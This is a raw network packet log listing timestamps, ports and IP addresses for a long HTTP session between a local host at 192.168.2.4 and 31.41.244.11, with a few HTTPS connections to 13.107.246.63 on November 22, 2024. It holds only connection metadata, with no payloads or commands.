Nov 22, 2024 04:12:15.984678984 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.984730959 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.984793901 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.984853029 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.985577106 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.985630035 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.985696077 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.985743999 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.986443996 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.986545086 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.986552000 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.986588001 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.987359047 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.987410069 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.987458944 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.987503052 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.988214016 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.988266945 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.988332033 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.988384962 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.989099979 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.989160061 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.989227057 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.989286900 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.989995956 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.990050077 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.990104914 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.990155935 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.990864038 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.990916967 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.990998983 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.991048098 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.991756916 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.991803885 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.991868973 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.991915941 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.992638111 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.992695093 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.992759943 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.992809057 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.993556976 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.993607044 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.993680000 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.993730068 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.994407892 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.994452000 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.994518042 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.994560003 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.995306969 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.995359898 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.995395899 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.995444059 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.996181011 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.996234894 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.996298075 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.996345997 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.997087002 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.997186899 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.997195005 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.997237921 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.998008966 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.998059034 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.998065948 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.998121023 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.998828888 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.998887062 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.998945951 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.998994112 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.999721050 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.999771118 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:15.999831915 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:15.999880075 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.000602961 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.000657082 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.000718117 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.000775099 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.001482010 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.001534939 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.001638889 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.001688004 CET	443	49773	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:16.001696110 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.002166033 CET	49773	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:16.002178907 CET	443	49773	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:16.002386093 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.002422094 CET	49773	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:16.002428055 CET	443	49773	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:16.002480030 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.002513885 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.002532005 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.003257036 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.003308058 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.003428936 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.003483057 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.004132032 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.004195929 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.004261971 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.004314899 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.005019903 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.005072117 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.005140066 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.005188942 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.005906105 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.005964994 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.006035089 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.006086111 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.006803989 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.006855011 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.006922007 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.006970882 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.007700920 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.007778883 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.007848024 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.007896900 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.008553982 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.008601904 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.008624077 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.008668900 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.009460926 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.009505033 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.009552002 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.009598017 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.010330915 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.010368109 CET	443	49774	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:16.010380983 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.010449886 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.010504961 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.010643005 CET	49774	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:16.010653973 CET	443	49774	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:16.010984898 CET	49774	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:16.010988951 CET	443	49774	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:16.011199951 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.011259079 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.011346102 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.011394978 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.012126923 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.012182951 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.012284994 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.012337923 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.012989044 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.013046026 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.013092995 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.013142109 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.013808966 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.013859987 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.013926029 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.013977051 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.014699936 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.014749050 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.014873981 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.014933109 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.015608072 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.015659094 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.015677929 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.015719891 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.016416073 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.016458988 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.117722034 CET	443	49771	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:16.117863894 CET	443	49771	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:16.117991924 CET	49771	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:16.118046999 CET	49771	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:16.118074894 CET	443	49771	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:16.118112087 CET	49771	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:16.118144989 CET	443	49771	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:16.120430946 CET	49776	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:16.120472908 CET	443	49776	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:16.120557070 CET	49776	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:16.120675087 CET	49776	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:16.120716095 CET	443	49776	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:16.171633959 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.171715021 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.171714067 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.171761036 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.172053099 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.172101021 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.172102928 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.172146082 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.172955036 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.173002958 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.173048019 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.173094034 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.173818111 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.173861980 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.173906088 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.173949957 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.174691916 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.174736023 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.174757004 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.174798965 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.175693989 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.175741911 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.175793886 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.175992012 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.176486015 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.176532030 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.176568031 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.176611900 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.177350998 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.177397013 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.177443027 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.177489042 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.178227901 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.178271055 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.178313971 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.178356886 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.179100037 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.179147005 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.179212093 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.179255009 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.180099964 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.180140018 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.180203915 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.180247068 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.180879116 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.180921078 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.180931091 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.180973053 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.181807041 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.181874990 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.181900024 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.181942940 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.182645082 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.182688951 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.182729959 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.182771921 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.183559895 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.183608055 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.183681965 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.183725119 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.184406996 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.184452057 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.184523106 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.184566021 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.185303926 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.185348988 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.185475111 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.185518980 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.186197042 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.186242104 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.186286926 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.186331034 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.187074900 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.187119961 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.187217951 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.187261105 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.187966108 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.188009024 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.188065052 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.188105106 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.188869953 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.188911915 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.188978910 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.189022064 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.189749956 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.189795017 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.189836979 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.189881086 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.190618992 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.190660954 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.190705061 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.190747976 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.191524982 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.191570044 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.191606998 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.191654921 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.192394972 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.192439079 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.192528009 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.192569971 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.193296909 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.193341970 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.193416119 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.193459034 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.194152117 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.194195986 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.194258928 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.194300890 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.195055962 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.195100069 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.195168972 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.195215940 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.195930004 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.195972919 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.196043968 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.196088076 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.196788073 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.196834087 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.196908951 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.196955919 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.197693110 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.197742939 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.197784901 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.197829008 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.198607922 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.198652029 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.198688030 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.198733091 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.199475050 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.199518919 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.199570894 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.199614048 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.200339079 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.200386047 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.200448036 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.200495005 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.201239109 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.201286077 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.201322079 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.201364994 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.202110052 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.202178001 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.202218056 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.202259064 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.203007936 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.203053951 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.203123093 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.203166962 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.203881025 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.203922987 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.203967094 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.204010010 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.204766989 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.204809904 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.204864025 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.204910040 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.205662966 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.205705881 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.205751896 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.205794096 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.206537008 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.206579924 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.206643105 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.206686974 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.207437992 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.207483053 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.207526922 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.207570076 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.208302975 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.208347082 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:16.208451986 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:16.208496094 CET	49760	80	192.168.2.4	31.41.244.11
